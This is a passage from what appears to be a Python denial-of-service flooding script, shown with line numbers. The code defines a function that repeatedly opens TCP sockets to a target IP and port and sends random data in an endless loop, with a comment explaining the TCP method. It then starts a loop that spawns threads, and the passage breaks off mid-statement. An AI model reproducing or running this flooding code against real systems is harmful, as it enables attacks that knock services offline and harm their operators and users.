()
| 40 | print("[!] Error!!!") |
| 41 | |
| 42 | def run2(): |
| 43 | data = random._urandom(16) |
| 44 | i = random.choice(("[*]","[!]","[#]")) |
| 45 | while True: |
| 46 | try: |
| 47 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #And here it's using the TCP method as you can see in SOCK_STREAM |
| 48 | s.connect((ip,port)) |
| 49 | s.send(data) |
| 50 | for x in range(times): |
| 51 | s.send(data) |
| 52 | print(i +" Sent!!!") |
| 53 | except: |
| 54 | s.close() |
| 55 | print("[*] Error") |
| 56 | |
| 57 | for y in range(threads): |
| 58 | if choice == 'y': |